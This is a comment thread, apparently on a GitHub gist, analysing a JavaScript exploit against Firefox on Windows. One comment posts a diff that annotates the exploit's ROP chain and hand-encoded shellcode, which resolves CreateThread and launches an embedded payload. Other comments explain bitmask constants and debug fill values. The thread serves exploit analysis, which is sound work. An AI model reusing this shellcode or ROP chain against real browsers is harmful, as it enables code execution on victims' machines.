This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
aaaaalbert
commented
Nov 30, 2016
|
Thanks for the writeup! A few random remarks:
|
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
avoidik
Nov 30, 2016
& 255 is 0xFF and this construction is used to cut down value to BYTE.
& 65535 is 0xFFFF and this construction is used to cut down value to WORD.
4294967295 is 0xFFFFFFFF and here this configuration is used for unsigned operations.
Another question is: will this exploit work if i change my userAgent to Furyfox? :)
avoidik
commented
Nov 30, 2016
•
|
& 255 is 0xFF and this construction is used to cut down value to BYTE. Another question is: will this exploit work if i change my userAgent to Furyfox? :) |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
pchk
Nov 30, 2016
Added some comments
--- a/cssbanner-beautified2.js
+++ b/cssbanner-beautified2.js
@@ -395,28 +395,76 @@ self.onmessage = function (msg) {
var rop = new ROP(mem, xulPtr);
rop.ropChain(ropBase, vtable_offset, 10, ropArrBuf);
- var backupESP = rop.findSequence([137, 1, 195]),
+
+/*
+ Searching for sequence:
+
+ 8901 MOV DWORD PTR DS:[ECX], EAX
+ C3 RETN
+*/
+ var backupESP = rop.findSequence([0x89, 0x01, 0xC3]),
ropChain = new Uint32Array(ropArrBuf);
ropChain[0] = backupESP;
CreateThread = rop.pe.resolve_imported_function("KERNEL32.dll", "CreateThread");
- for (var i = 0; i < ropChain.length && 3435973836 != ropChain[i]; i++);
-
- ropChain[i++] = 3296825488;
- ropChain[i++] = 2048;
- ropChain[i++] = 1347469361;
- ropChain[i++] = 1528949584;
- ropChain[i++] = 3092271187;
+ for (var i = 0; i < ropChain.length && 0xCCCCCCCC != ropChain[i]; i++);
+
+/*
+$ ==> > 90 NOP
+$+1 > 90 NOP
+$+2 > 81C4 00080000 ADD ESP,800
+*/
+ ropChain[i++] = 0xC4819090;
+ ropChain[i++] = 0x00000800;
+/*
+$+8 > 31C0 XOR EAX,EAX
+$+A > 50 PUSH EAX
+$+B > 50 PUSH EAX
+*/
+ ropChain[i++] = 0x5050C031;
+/*
+$+C > 50 PUSH EAX
+$+D > EB 21 JMP SHORT $+21 ; JMP to CALL at $+30
+$+F > 5B POP EBX ; EBX = Virtual Address $+35
+*/
+ ropChain[i++] = 0x5B21EB50;
+/*
+$+10 > 53 PUSH EBX
+$+11 > 50 PUSH EAX
+$+12 > 50 PUSH EAX
+$+13 > B8 ???????? MOV EAX, CreateThread
+*/
+ ropChain[i++] = 0xB8505053;
ropChain[i++] = CreateThread;
- ropChain[i++] = 3096498431;
+/*
+$+18 > FFD0 CALL EAX ; CreateThread(NULL, 0, $+35, NULL, 0, NULL)
+$+1A > 90 NOP
+$+1B > B8 ???????? MOV EAX, arrBase + 16
+*/
+ ropChain[i++] = 0xB890D0FF;
ropChain[i++] = arrBase + 16;
- ropChain[i++] = 1955274891;
- ropChain[i++] = 280697892;
- ropChain[i++] = 704643071;
- ropChain[i++] = 2425406428;
- ropChain[i++] = 4294957800;
- ropChain[i++] = 2425393407;
+/*
+$+20 > 8B20 MOV ESP, DWORD PTR DS:[EAX]
+$+22 > 8B7424 1C MOV ESI, DWORD PTR SS:[ESP+1C]
+$+26 > BB 10FFFFFF MOV EBX, -0F0
+$+2B > 29DC SUB ESP, EBX
+$+2D > C3 RETN
+$+2E > 90 NOP
+$+2F > 90 NOP
+*/
+ ropChain[i++] = 0x748B208B;
+ ropChain[i++] = 0x10BB1C24;
+ ropChain[i++] = 0x29FFFFFF;
+ ropChain[i++] = 0x9090C3DC;
+/*
+$+30 > E8 DAFFFFFF CALL $-26
+$+35 > 90 NOP ; New thread started here
+$+36 > 90 NOP
+$+37 > 90 NOP
+*/
+ ropChain[i++] = 0xFFFFDAE8;
+ ropChain[i++] = 0x909090FF;
for (var j = 0; j < thecode.length; j += 2) {
ropChain[i++] = thecode.charCodeAt(j) + 65536 * thecode.charCodeAt(j + 1);
```
pchk
commented
Nov 30, 2016
|
Added some comments --- a/cssbanner-beautified2.js
+++ b/cssbanner-beautified2.js
@@ -395,28 +395,76 @@ self.onmessage = function (msg) {
var rop = new ROP(mem, xulPtr);
rop.ropChain(ropBase, vtable_offset, 10, ropArrBuf);
- var backupESP = rop.findSequence([137, 1, 195]),
+
+/*
+ Searching for sequence:
+
+ 8901 MOV DWORD PTR DS:[ECX], EAX
+ C3 RETN
+*/
+ var backupESP = rop.findSequence([0x89, 0x01, 0xC3]),
ropChain = new Uint32Array(ropArrBuf);
ropChain[0] = backupESP;
CreateThread = rop.pe.resolve_imported_function("KERNEL32.dll", "CreateThread");
- for (var i = 0; i < ropChain.length && 3435973836 != ropChain[i]; i++);
-
- ropChain[i++] = 3296825488;
- ropChain[i++] = 2048;
- ropChain[i++] = 1347469361;
- ropChain[i++] = 1528949584;
- ropChain[i++] = 3092271187;
+ for (var i = 0; i < ropChain.length && 0xCCCCCCCC != ropChain[i]; i++);
+
+/*
+$ ==> > 90 NOP
+$+1 > 90 NOP
+$+2 > 81C4 00080000 ADD ESP,800
+*/
+ ropChain[i++] = 0xC4819090;
+ ropChain[i++] = 0x00000800;
+/*
+$+8 > 31C0 XOR EAX,EAX
+$+A > 50 PUSH EAX
+$+B > 50 PUSH EAX
+*/
+ ropChain[i++] = 0x5050C031;
+/*
+$+C > 50 PUSH EAX
+$+D > EB 21 JMP SHORT $+21 ; JMP to CALL at $+30
+$+F > 5B POP EBX ; EBX = Virtual Address $+35
+*/
+ ropChain[i++] = 0x5B21EB50;
+/*
+$+10 > 53 PUSH EBX
+$+11 > 50 PUSH EAX
+$+12 > 50 PUSH EAX
+$+13 > B8 ???????? MOV EAX, CreateThread
+*/
+ ropChain[i++] = 0xB8505053;
ropChain[i++] = CreateThread;
- ropChain[i++] = 3096498431;
+/*
+$+18 > FFD0 CALL EAX ; CreateThread(NULL, 0, $+35, NULL, 0, NULL)
+$+1A > 90 NOP
+$+1B > B8 ???????? MOV EAX, arrBase + 16
+*/
+ ropChain[i++] = 0xB890D0FF;
ropChain[i++] = arrBase + 16;
- ropChain[i++] = 1955274891;
- ropChain[i++] = 280697892;
- ropChain[i++] = 704643071;
- ropChain[i++] = 2425406428;
- ropChain[i++] = 4294957800;
- ropChain[i++] = 2425393407;
+/*
+$+20 > 8B20 MOV ESP, DWORD PTR DS:[EAX]
+$+22 > 8B7424 1C MOV ESI, DWORD PTR SS:[ESP+1C]
+$+26 > BB 10FFFFFF MOV EBX, -0F0
+$+2B > 29DC SUB ESP, EBX
+$+2D > C3 RETN
+$+2E > 90 NOP
+$+2F > 90 NOP
+*/
+ ropChain[i++] = 0x748B208B;
+ ropChain[i++] = 0x10BB1C24;
+ ropChain[i++] = 0x29FFFFFF;
+ ropChain[i++] = 0x9090C3DC;
+/*
+$+30 > E8 DAFFFFFF CALL $-26
+$+35 > 90 NOP ; New thread started here
+$+36 > 90 NOP
+$+37 > 90 NOP
+*/
+ ropChain[i++] = 0xFFFFDAE8;
+ ropChain[i++] = 0x909090FF;
for (var j = 0; j < thecode.length; j += 2) {
ropChain[i++] = thecode.charCodeAt(j) + 65536 * thecode.charCodeAt(j + 1);
``` |
This comment has been minimized.
Show comment
Hide comment
This comment has been minimized.
AlfredTheHacktivist
Mar 9, 2018
from https://stackoverflow.com/questions/12755973/my-variable-keeps-changing-its-value-to-3435973836 :
line 255 : 3435973836 : unassigned memory value on x64 Windows
AlfredTheHacktivist
commented
Mar 9, 2018
•
|
from https://stackoverflow.com/questions/12755973/my-variable-keeps-changing-its-value-to-3435973836 : |
Thanks for the writeup! A few random remarks:
2**32-1(not 31); the number is also known asUINT_MAX,UInt32.MaxValue, or similar, depending on your platform.(a & 255) == (a % 256), as the largest remainder modulo n is (n-1).0xfffffffcand thus a bitmask that strips off the the two least-significant bits when&ed